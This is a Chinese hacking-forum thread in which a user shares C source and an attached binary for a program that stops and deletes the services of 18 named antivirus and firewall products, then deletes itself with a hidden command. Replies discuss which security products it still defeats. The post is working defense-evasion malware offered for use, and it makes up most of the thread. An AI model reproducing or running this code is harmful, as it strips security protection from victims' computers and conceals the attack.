发新话题
打印

[原创]发一个关闭防火墙的小程序

[原创]发一个关闭防火墙的小程序

信息来源:邪恶八进制信息安全团队(www.eviloctal.com
文章作者:uncledo

大家交流下吧!第一次写程序,比较粗糙,高手勿笑
在此先谢过asm 大哥,jozu 大哥!
会延迟很一个窗口!我已经尽量用多线程,提高了速度
可还是会闪一个窗口,高手请指教。。。。
自删除,多线程!附加一个小提示!
欢迎拍砖! 又要去忙电路的考试了..呵呵..
Code Language : C
  1. ///////////会延迟很一个窗口!我已经尽量用多线程,提高了速度
  2. //////////可还是会闪一个窗口,高手请指教。。。。
  3.  
  4. #include <windows.h>
  5. #include <tchar.h>
  6. #include <shlobj.h>
  7. #include <stdio.h>
  8. #include <process.h>/////// _begintheadex();
  9.  
  10. #pragma comment(lib, \"Shell32.lib\")
  11.  
  12. #define ERROR_RET 1
  13. #define ERROR_SUC 0
  14.  
  15. #define COMSPEC TEXT(\"COMSPEC\")
  16. #define ARGS_PREX TEXT(\" /c del \")
  17. #define ARGS_ERR_REDIR TEXT(\" >NUL\")
  18.  
  19. int i;
  20. char name[18][25]={
  21. \"RsCCenter\",
  22. \"KVSrvXP\",
  23. \"kavsvc\",
  24. \"KPfwSvc\",
  25. \"KWatchSvc\",
  26. \"wscsvc\",
  27. \"SNDSrvc\",
  28. \"ccProxy\",
  29. \"ccEvtMgr\",
  30. \"ccSetMgr\",
  31. \"SPBBCSvc\",
  32. \"Symantec Core LC\",
  33. \"navapsvc\",
  34. \"NPFMntor\",
  35. \"MskService\",
  36. \"McTaskManager\",
  37. \"McShield\",
  38. \"McAfeeFramework\"
  39. };
  40. ///////////////////////////
  41.  
  42. /////////从asm大哥那儿翻译过来的!谢了先!
  43. DWORD remove(LPVOID s)
  44. { SC_HANDLE service ,scm;
  45. BOOL success;
  46. SERVICE_STATUS status ;
  47.  
  48. ///////starting connect
  49. if((scm=OpenSCManager(NULL,NULL,SC_MANAGER_ALL_ACCESS))==NULL)
  50.  {
  51.    /// printf(\"OpenSCManager Error\n\");
  52.  }
  53.  
  54. ////////////////////兄弟们呀,下面的s 一定要用转化呀
  55. service=OpenService(scm,(char*)s,SERVICE_ALL_ACCESS|DELETE);
  56.  
  57. if(!service)
  58.  {
  59.  /// printf(\"OpenService error!\n\");
  60.  }
  61.  
  62. success=QueryServiceStatus(service,&status);
  63.    if (!success)
  64.  {
  65.    //// printf(\"QueryServiceStatus error!\n\");
  66.  }
  67.  
  68. if ( status.dwCurrentState!=SERVICE_STOPPED )
  69. {  
  70.    success=ControlService(service,SERVICE_CONTROL_STOP,&status);
  71.    if (!success )
  72.    {
  73.      /// printf(\"failed!!\n\");
  74.    }
  75.  
  76. Sleep(50);
  77. }
  78. if( success=DeleteService(service))
  79.  printf(\"remove success!\n\");
  80. else
  81.  printf(\"remove failed!!\n\");
  82.  
  83.  CloseServiceHandle(service);
  84.  CloseServiceHandle(scm);
  85.  
  86.   return NULL;
  87. }
  88.  
  89. int main(int argc, char** argv)
  90. {
  91.  char version[]=\"***************close fire wall****************\n***************[url]www.eviloctal.com[/url]**************\n***************code by uncledo****************\n***************[email]uncledo@163.com[/email] ***************\n\";
  92.  char newname[]=\"evilocta.txt\";
  93.  FILE *pfile=fopen(newname,\"w\");
  94.  fprintf(pfile,\"%s\",version);
  95.  
  96.  //////fprintf(pfile, \"%s firewall removed\n\",*(char*)s);
  97.  
  98.  ///////////多线程
  99.  HANDLE thd[18];
  100.  DWORD tid;  
  101.  ////为了在Visual C++ 6 IDE中使用多线程库,首先要激活“Project | Settings”属性页。
  102.  ////然后选择“C/C++”选项卡。接着在“Category”下拉列表框中选择“Code Generation”,
  103.  ////然后在“Use Runtime Library ”下拉列表框中选择“Multithreaded”/
  104.  for(i=0;i<18;i++)
  105.  {thd[i]=CreateThread(NULL,
  106.      0,
  107.      (LPTHREAD_START_ROUTINE)remove,//////////////////
  108.      &name[i][25],
  109.      0,
  110.      &tid);
  111.  
  112.  Sleep(50);///验证线程!
  113.  }
  114.  fclose(pfile);
  115.  
  116. /////////////自删除代码用的是jozu 大哥的,先谢过了!!
  117.  
  118. TCHAR szModuleName[MAX_PATH] = { 0 };
  119. TCHAR szCommand[MAX_PATH] = { 0 };
  120. TCHAR szParams[MAX_PATH] = { 0 };
  121.  
  122. STARTUPINFO si = { sizeof(STARTUPINFO) };
  123. PROCESS_INFORMATION pi;
  124.  
  125.  
  126. if(!GetModuleFileName(NULL, szModuleName, MAX_PATH))
  127. return ERROR_RET;
  128.  
  129. if(!GetShortPathName(szModuleName, szModuleName, MAX_PATH))
  130. return ERROR_RET;
  131.  
  132. if(!GetEnvironmentVariable(COMSPEC, szCommand, MAX_PATH))
  133. return ERROR_RET;
  134.  
  135. _tcscat(szCommand, ARGS_PREX);
  136. _tcscat(szCommand, szModuleName);
  137. _tcscat(szCommand, ARGS_ERR_REDIR);
  138.  
  139. if(SetPriorityClass(GetCurrentProcess(),
  140. REALTIME_PRIORITY_CLASS))
  141. {
  142. if(SetThreadPriority(GetCurrentThread(),
  143. THREAD_PRIORITY_TIME_CRITICAL))
  144. {
  145. //
  146. if(CreateProcess(NULL,
  147.  szCommand,
  148.  NULL,
  149.  NULL,
  150.  FALSE,
  151.  0,
  152.  NULL,
  153.  NULL,
  154.  &si,
  155.  &pi))
  156. {
  157.  SetPriorityClass(pi.hProcess,
  158.  IDLE_PRIORITY_CLASS);
  159.  
  160.  SetProcessPriorityBoost(pi.hProcess,
  161.  TRUE);
  162.  
  163.  SHChangeNotify(SHCNE_DELETE,
  164.  SHCNF_PATH,
  165.  szModuleName,
  166.  NULL);
  167.  return TRUE;
  168. }
  169. }
  170. else
  171. {
  172. SetPriorityClass(GetCurrentProcess(),
  173.  NORMAL_PRIORITY_CLASS);
  174. }
  175. }
  176. return ERROR_RET;
  177. }
Parsed in 0.027 seconds

附件

closefirewall.rar (27 KB)

2007-12-4 21:21, 下载次数: 52

版主运行前复制一个先

TOP

现在这种方法很过时了,基本上没什么用,文章没什么技术性,
给邪八丢脸了.....!!!
想当时发的时候一时脑热,本以为冰血会删掉的...

个人在邪八学了不少知识.呵呵,很是感谢,
下次争取写一个有含量的文章!
如果可以的话,斑竹请删掉它,现在看到它我就脸红....

TOP

还不算太过时,听说似乎能够对付金山密保。

TOP

和BAT一个意思,部分有效

TOP

  对最新版的瑞星好像没有用.......

TOP

回复 沙发 uncledo 的帖子

讨论一下
难道就没有大家需要改进的地方么??
那现在杀毒软件方面是怎么防护这中方法的啊

TOP

发新话题